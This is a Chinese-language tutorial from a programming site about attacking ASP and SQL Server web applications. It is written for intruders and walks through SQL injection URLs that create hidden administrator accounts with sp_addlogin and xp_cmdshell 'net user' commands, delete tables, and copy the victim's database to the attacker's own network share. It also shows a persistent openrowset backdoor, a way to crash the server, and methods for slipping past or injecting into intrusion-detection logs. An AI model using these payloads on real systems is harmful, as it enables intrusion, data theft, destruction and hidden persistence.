程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server數據庫的一些攻擊

SQL Server數據庫的一些攻擊

編輯:關於SqlServer
對於國內外的很多新聞,BBS和電子商務網站都采用ASP+SQL設計,而寫 ASP的程序員很多(有很多剛剛畢業的),所以,ASP+SQL的攻擊成功率也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關系,也沒有相應的補丁,因為漏洞是程序員自己造成的,而且大多數講解ASP編 程的書上,源代碼例子就有這個漏洞存在,其實只是一些合法的ASP對SQL的請求,就留下後患無窮!

  這種攻擊方法最早源於'or'1'='1的漏洞(我們暫且稱其為漏洞),這個漏洞的原理我想大家因該都知道了,那麼隨之而來的便是;exec sp_addlogin hax(在數據庫內添加一個hax用戶),但是這個方法的限制很大,首先ASP使用的SQL Server賬號是個管理員,其次請求的提交變 量在整個SQL語句的最後,因為有一些程序員采用SELECT * FROM news WHERE id=... AND topic=... AND .....

  這種方法請求數據庫,那麼如果還用以上的例子就會

  news.ASP?id=2;exec sp_addlogin hax

  變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...   

  整個SQL語句在執行sp_addlogin的存儲過程後有AND與判斷存在,語法錯誤,你的sp_addlogin自然也不能正常運行了,因此試試看下面這個方法   

  news.ASP?id=2;exec sp_addlogin hax;--

  後面的--符號把sp_addlogin後的判斷語句變成了注釋,這樣就不會有語法錯誤了,sp_addlogin正常執行!

  那麼我們連一起來用吧

  news.ASP?id=2;exec master.dbo.sp_addlogin hax;--

  news.ASP?id=2;exec master.dbo.sp_passWord null,hax,hax;--

  news.ASP?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

  news.ASP?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passWordreq:yes /active:yes /add';--

  news.ASP?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--  這樣,你在他的數據庫和系統內都留下了hax管理員賬號了

  當然,前提條件是ASP用管理員賬號,所以虛擬空間大家就別試了,不會存在這個漏洞的。

  以後我們會討論,如果對方的ASP不是用SQL管理員賬號,我們如何入侵,當然也會涉及到1433端口的入侵

  當然大家可以試試看在id=2後面加上一個'符號,主要看對方的ASP怎麼寫了

  再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做。

  假設有如下頁面

  http://www.xxxxx.com/news/news-2.ASP?newid=117

  大家可以試試看http://www.xxxxx.com/news/news-2.ASP?newid=117;select 123;--

  呵呵,報語法錯誤,select 123錯誤,顯而易見,天融新的ASP在newid變量後面用'號結束

  那麼試試看http://www.xxxxx.com/news/news-2.ASP?newid=117';delete news;--

  哈哈,我想只要表名猜對了,新聞庫就被刪了

  通常ASP用的SQL賬號就算不是管理員也會是某個數據庫的owner,至少對於這個庫有很高的管理權限

  但是我們不知道庫名該怎麼?看看db_name()函數吧

  打開你的query analyzer,看看print db_name() ,呵呵,當前的數據庫名就出來了

  以次類推,

如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

  呵呵,他的當前數據庫就備份到你的硬盤上了,接下來要做的大家心裡都明白了吧

  同理這個方法可以找到對方的SQL的IP

  先裝一個防火牆,打開ICMP和139TCP和445TCP的警告提示

  然後試試看news.ASP?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'

  如果防火牆提示有人ping你,那麼因該可以肯定對方的ASP用的是SQL的管理員權限,同時也確定了對方的SQL Server的准確位置,因為很多大 一點的網站考慮性能,會把web服務和數據庫分開,當對方大上了補丁看不到源代碼時,我想只有這個方法能很快的定位對方的SQL Server的位置了

    那麼,如果對方ASP沒有SQL管理員權限,我們就不能調用xp_cmdshell了,該怎麼辦?

    別著急,試試看這個news.ASP?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

  呵呵,你的防火牆該發出警告了,有人連接你的445或139(win9端口了,這樣,對方的SQL的ip一樣也可以暴露

    那麼如果對方連某個數據庫的owner也不是的話,我們該怎麼辦?下次我會告訴大家一個更好的辦法。

    其實backuo database到你的硬盤還是有點誇張了,如果對方數據庫很龐大,你又是撥號上網,呵呵,勸你別試了,很難成功傳輸的

    稍後我們還會談到如何騙過IDS執行ASP+SQL入侵

    目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了

  所有以上url希望大家通過vbscript提交,因為浏覽器的地址欄會屏蔽一些特殊字符,這樣你的命令就不能完整傳輸了

  window.location.herf=URL

  補充:這個問題以前載網上也提出來過,但是只是一些簡單的xp_cmdshell調用限制很大,其實這裡面還有很多值得深入的地方比如

  www.guosen.com.cn。國信證卷就有這個問題,而且他們采用ms的三層結構作的用以前說的xp_cmdshell做法就不行了,字符串會被過濾,但是

  我嘗試了,用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號!由於對方防火牆很嚴checkpoint數據報進出

  都只開放80端口,因此,要想獲得他的數據庫結構比較困難了,但是還是有辦法可以做到的:P

  順便提醒大家注意一下關於sqloledb,db_name,openrowset,opendatasource這些系統函數當ASP的sqlserver賬號只是一個普通用戶時,他們會 很有用的!

  SQL Server新漏洞和一些突破口

  下面我要談到一些sqlserver新的bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家

  鑒別,當然很有可能有些高手早已知道了,畢竟我接觸sqlserver的時間不到1年:P

  1。關於openrowset和opendatasource

  可能這個技巧早有人已經會了,就是利用open


您正在看的SQLserver教程是:SQL Server數據庫的一些攻擊。rowset發送本地命令

  通常我們的用法是(包括MSDN的列子)如下

  select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

  可見(即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問,它必須跟在select後面,也就是說需要返回一個recordset

  那麼我們能不能利用它調用xp_cmdshell呢?答案是肯定的!

  select * from openrowset('sqloledb','server';'sa';'',

'set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')

  必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果采用默認設置,會返回空集合導致select出錯,命令也就無法執行了。

  那麼如果我們要調用sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設置了,可以如下操作

  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')

  這樣,命令至少會返回select 'OK!'的集合,你的機器商會顯示OK!,同時對方的數據庫內也會增加一個Hectic的賬號,也就是說,我們利用

  select 'OK!'的返回集合欺騙了本地的select請求,是命令能夠正常執行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至於

  這個方法真正的用處,大家慢慢想吧:P

  2。關於msdasql兩次請求的問題

  不知道大家有沒有試過用msdasql連接遠程數據庫,當然這個api必須是sqlserver的管理員才可以調用,那麼如下

  select * from openrowset('msdasql','driver={SQL Server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')

  當table1和table2的字段數目不相同時,你會發現對方的sqlserver崩潰了,連本地連接都會失敗,而系統資源占用一切正常,用pskill殺死

  sqlserver進程後,如果不重啟機器,sqlserver要麼無法正常啟動,要麼時常出現非法操作,我也只是碰巧找到這個bug的,具體原因我還沒有

  摸透,而且很奇怪的是這個現象只出現在msdasql上,sqloledb就沒有這個問題,看來問題不是在於請求集合數目和返回集合數目不匹配上,因

  該還是msdasql本身的問題,具體原因,大家一起慢慢研究吧:P

  3。可怕的後門

  以前在網上看到有人說在sqlserver上留後門可以通過添加triger,jobs或改寫sp_addlogin和sp_addsrvrolemember做到,這些方法當然可行,

  但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令

  select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

  這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射,只要sqlserver不重啟,這個映射會一直存在下去,至少我現在還不知道如何發現別人放置的連接映射,好了,以上的命令運行過後,你會發現哪怕是sqlserver沒有任何權限的guest用戶,運行以上這條命令也一樣能通過!而且權限是localsystem!(默認安裝)呵呵!這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個後門了。

  以上的方法在sqlserver2000+sqlserver2000SP1上通過!

  *另外還有一個猜測,不知道大家有沒有注意過Windows默認附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理員賬號連接sqlserver的,如果對方的sqlserver是通過自定義的power user啟動,那麼sa的權限就和power user一樣,很難有所大作為,但是 我們通過如下的命令

  select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的權限執行本地命令了,這是後我想應該能突破sa那個power user權限了。現在的問題是sqloledb無法調用dsn連接,而msdasql非管理員不讓調用,所以我現在正在尋找guest調用msdasql的方法,如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。

  因為我們前面提到的任何sql語句都可以提交給對方的ASP去幫我們執行

  利用t-sql騙過ids或攻擊ids

  現在的ids已經變得越來越聰明了

  有的ids加入了xp_cmdshell sp_addlogin 的監視 。

  但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺

  先說說欺騙ids:

  ids既然監視xp_cmdshell關鍵字,那麼我們可以這麼做

  declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'

  這個代碼相信大家都能看明白,還有xp_cmdshell作為一個store procedure在master庫內有一個id號,固定的,我們也可以這麼做

  假設這個id=988456

  declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'

  當然也可以

  declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'

  這種做法排列組合,ids根本不可能做的到完全監視

  同理,sp_addlogin也可以這麼做

  再說說攻擊ids:

  因為ids數據量很大,日至通常備份到常規數據庫,比如SQL Server

  如果用古老的recordset.addnew做法,會嚴重影響ids的性能,因為通過ado做t-sql請求,不但效率高,而且有一部分工作可以交給SQL Server 去做

  通常程序會這麼寫ues ('日至內容',...)

  那麼我麼想想看,如果用

  temp') exec xp_cmdshell 'dir c:\' --

  提交後會變成

  insert table values ('日至內容'....'temp') exec


您正在看的SQLserver教程是:SQL Server數據庫的一些攻擊。 xp_cmdshell 'dir c:\' -- ')

  這樣,xp_cmdshell就可以在ids的數據庫運行了 :)

  當然ids是一個嗅歎器,他會抓所有的報,而浏覽器提交的時候會把空格變成%20

  因此,%20會被提交到SQL Server,這樣你的命令就無法執行了

  唯一的辦法就是

  insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

  用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數據庫內執行

  當然也可以用其他語句,可以破壞,備份ids的數據庫到你的共享目錄

  呵呵 ,其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/ ,本來ASP是select語句,那麼用'就可以屏蔽,現在ids用insert語句,那麼用')屏蔽

    好了,其他很多新的入侵語句大家可以自己慢慢想,最好的測試工具就是query analyzer了。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved